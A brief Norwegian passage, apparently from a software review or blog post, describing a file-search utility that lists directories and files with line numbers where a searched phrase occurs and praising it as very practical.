Etter at programmet har kjørt gjennom alle filene, vil det vise dem som en liste over kataloger der det er filer med treff + selve filene med linjenummer der samsvar med den søkte frasen ble funnet.

Generelt et mega-praktisk program når du søker etter noe du vet, men ikke vet nøyaktig hvor du skal lete. :)

WiFi